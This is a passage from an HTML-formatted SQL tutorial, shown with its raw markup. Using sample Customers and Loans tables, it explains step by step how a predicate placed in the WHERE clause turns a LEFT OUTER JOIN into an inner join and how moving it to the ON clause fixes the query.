&lt;/span&gt;&lt;span style="color:black;"&gt;2000.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;5&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;4&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080325'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;1200.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;6&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;3&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080327'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;4000.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'B'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;7&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;5&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080410'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;3500.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'B'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;8&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080412'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2000.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:gray;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;INT &lt;/span&gt;&lt;span style="color:gray;"&gt;NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name &lt;/span&gt;&lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;35&lt;/span&gt;&lt;span style="color:gray;"&gt;),&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;PRIMARY KEY &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;));&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:gray;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;1&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Peter Brown'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;2&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Jeff Davis'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;3&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Kevin Fox'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;4&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Donna Louis'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;5&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Greg Barrow'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;6&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'Richard Douglas'&lt;/span&gt;&lt;span style="color:gray;"&gt;); &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:gray;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:gray;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green;"&gt;-- Add foreign key for Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ALTER TABLE &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ADD CONSTRAINT &lt;/span&gt;&lt;span style="color:black;"&gt;fk_loans_customers&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FOREIGN KEY &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;REFERENCES &lt;/span&gt;&lt;span style="color:black;"&gt;Customers&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;CASE #1: Predicates on the non-preserved table attributes&lt;br /&gt;&lt;br /&gt;The first request is to retrieve list of all customers and only the total personal loan amount (if any) they have. The following query seems to describe the request properly:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;COALESCE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;0&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;WHERE &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;However, the results do not seem correct:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name    total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;---------------- --------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Donna Louis      1200.00&lt;br /&gt;&lt;br /&gt;Jeff Davis       3000.00&lt;br /&gt;&lt;br /&gt;Kevin Fox        2000.00&lt;br /&gt;&lt;br /&gt;Peter Brown      1500.00&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;Customers Greg and Richard are missing from the output. To understand the problems let's run this step by step:&lt;br /&gt;&lt;br /&gt;1). Cross join:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;CROSS &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;This returns Cartesian product (every possible combination of a row from the Customers table and a row from the Loans table).&lt;br /&gt;&lt;br /&gt;2). ON predicates:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INNER JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;This results in the following output:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name   loan_amount  loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;--------------- ------------ ---------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Peter Brown     1500.00      P&lt;br /&gt;&lt;br /&gt;Jeff Davis      1000.00      P&lt;br /&gt;&lt;br /&gt;Peter Brown     5000.00      B&lt;br /&gt;&lt;br /&gt;Kevin Fox       2000.00      P&lt;br /&gt;&lt;br /&gt;Donna Louis     1200.00      P&lt;br /&gt;&lt;br /&gt;Kevin Fox       4000.00      B&lt;br /&gt;&lt;br /&gt;Greg Barrow     3500.00      B&lt;br /&gt;&lt;br /&gt;Jeff Davis      2000.00      P&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;At this stage only rows that match based on the predicate for customer match are included.&lt;br /&gt;&lt;br /&gt;3). Add outer rows:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;The query returns this result set:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name   loan_amount   loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;--------------- ------------- ---------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Peter Brown     1500.00       P&lt;br /&gt;&lt;br /&gt;Peter Brown     5000.00       B&lt;br /&gt;&lt;br /&gt;Jeff Davis      1000.00       P&lt;br /&gt;&lt;br /&gt;Jeff Davis      2000.00       P&lt;br /&gt;&lt;br /&gt;Kevin Fox       2000.00       P&lt;br /&gt;&lt;br /&gt;Kevin Fox       4000.00       B&lt;br /&gt;&lt;br /&gt;Donna Louis     1200.00       P&lt;br /&gt;&lt;br /&gt;Greg Barrow     3500.00       B&lt;br /&gt;&lt;br /&gt;Richard Douglas &lt;/span&gt;&lt;span style="color:gray;"&gt;NULL          NULL&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Here the outer rows are added, resulting in adding back a row for customer Richard, who has no loans at all and was excluded in the prior phase when the ON clause predicates were applied.&lt;br /&gt;&lt;br /&gt;4). WHERE predicates:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;WHERE &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;This result set is the base for the results in the first query attempt:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name   loan_amount  loan_type&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;--------------- ------------ ---------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Peter Brown     1500.00      P&lt;br /&gt;&lt;br /&gt;Jeff Davis      1000.00      P&lt;br /&gt;&lt;br /&gt;Kevin Fox       2000.00      P&lt;br /&gt;&lt;br /&gt;Donna Louis     1200.00      P&lt;br /&gt;&lt;br /&gt;Jeff Davis      2000.00      P&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;Now it is very clear that the predicate in the WHERE clause filters the NULL for loan type for customer Richard, and customer Greg is excluded because he has only business loans. Incorrectly placing the predicate in the WHERE clause turns the outer join to inner join.&lt;br /&gt;&lt;br /&gt;To correct this query it only requires to move the predicate on loan type from the WHERE clause to the ON clause:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;COALESCE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;0&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:gray;"&gt;AND &lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_type &lt;/span&gt;&lt;span 